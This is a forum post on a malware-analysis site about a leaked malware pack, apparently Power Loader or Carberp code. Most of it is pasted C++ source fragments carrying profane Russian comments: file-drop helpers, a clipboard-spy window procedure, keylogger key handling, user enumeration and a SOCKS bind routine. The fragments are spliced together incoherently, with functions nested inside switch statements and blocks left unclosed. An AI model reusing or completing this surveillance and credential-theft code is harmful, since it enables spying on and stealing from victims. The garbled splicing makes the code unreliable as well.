A forum for reverse engineering, OS internals and malware analysis
rinn wrote:Well, for now everybody can built their own power loader from this source :)I don't think so. It is just a Explorer exploit part from PL, well there are many other exploits in this pack, even ransomware source. All this pack is pack of 3rd party code. Since this code is easy to read, more clones will be created soon.
// ----------------------------------------------------------------------------------------
bool isFileExists(int FlagFolderDest, WCHAR*Path)
{
// Эта поебень делает такую-то хуйню
// тоесть проверяет существуер ли файл в стандартном пути(определенном системой)+Path
WCHAR SysPath[MAX_PATH];
pSHGetFolderPathW(NULL, FlagFolderDest, NULL, SHGFP_TYPE_CURRENT, SysPath);
plstrcatW( SysPath, L"\\" );
plstrcatW( SysPath, Path );
return FileExistsW(SysPath);
}// ----------------------------------------------------------------------------------------
// Сложно бля пару переводов строки после функции сделать, ну топо разделить код одной функции от другой
bool FileCreateInFolder(int FlagFolderDest, WCHAR*Path,LPVOID Data,int count)
{
// И эта поебень хуёзнает чё-то делает
// тоесть создает файл и пишет данные заданным размером
WCHAR SysPath[MAX_PATH];
pSHGetFolderPathW(NULL, FlagFolderDest, NULL, SHGFP_TYPE_CURRENT, SysPath);
plstrcatW( SysPath, L"\\" );
plstrcatW( SysPath, Path );
if (File::WriteBufferW( SysPath, Data, count ))
return true;
else
return false;
}// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
// Нахуй руки оторву за такую писанину!!!!!!!!!!!!!!!! GSV
// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!// оконная процедура "фейкового" окна. нужна для отлова сообщения об изменениях в клипборде
LRESULT WINAPI CBSpyWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch (uMsg)
{
case WM_CREATE:
{
hNextViewer=(HWND)pSetClipboardViewer(hWnd);
break;
}
case WM_DRAWCLIPBOARD:
{
// пока не активен кейлоггер клипборд нам в хуй не впился
// функа ищет по HWND прошлую кэл-бэк процеруду. в окно жабы зашить не получилось - сучка падала..
// хотя можно с SetWindowProp в принципе переделать, должно работать (только что придумал:)
WNDPROC GetWndProc(HWND hWnd)
{
for (int i=0; i<=dwWndsCount; i++)
{
if (Wnds[i].hWnd == hWnd)
return Wnds[i].lpWndProc;
}
return NULL;
}
int dwLen=(int)pGetKeyNameTextW(lParam,szBuff,sizeof(szBuff));
if (dwLen > 1)
{
// если это не символ а какая-то клавиша (ctrl, alt.. да любая другая VK_* хуйня) - выводим в отдадочный вывод [KEY]
//pwsprintfW(buff,L"[%s]", szBuff);
}
else
//всякая хуйня
bool SHIFT_FLAG = false;
bool CAPSL_FLAG = false; do
{
/*
Тупые, притупые идусы из MS, не понимают что они тупые притупые. Дело в том, что в MSDN
написано, что NetUserEnum может работать с уровнями 4, 23, а на практики мы получаем
большой индуский ХУЙ!
*/
if (bRet)
{
/// добавляем информацию о директориях
for (int i=0; i < IMAGE_NUMBEROF_DIRECTORY_ENTRIES; i++)
{
/// пропускаем bound import (нахуй он нам не всрался)
if (i == IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT)
continue;
//Bind
case 2:
{
SOCKET destSocket;
//Я ибал в рот тупых уродов написавших тупой rfc и тупорлых говнокодеров,
//Я ставлю листинг на проивзольны порт на все IP сервера, и пашел на хуй софт который не
//сможет это прочитать. Возможно меня ввел в забулждение FlashFXP 3.6.0. Т.к. в destAddr
//он отправляет какие то данные сервера. А по rfc, как я понел, там должны быть данные
//сокс-сервера, где нужно ждать сединения.
//Ищим свободный порт.
((SOCKADDR_IN6 *)destAddr)->sin6_port = 0;
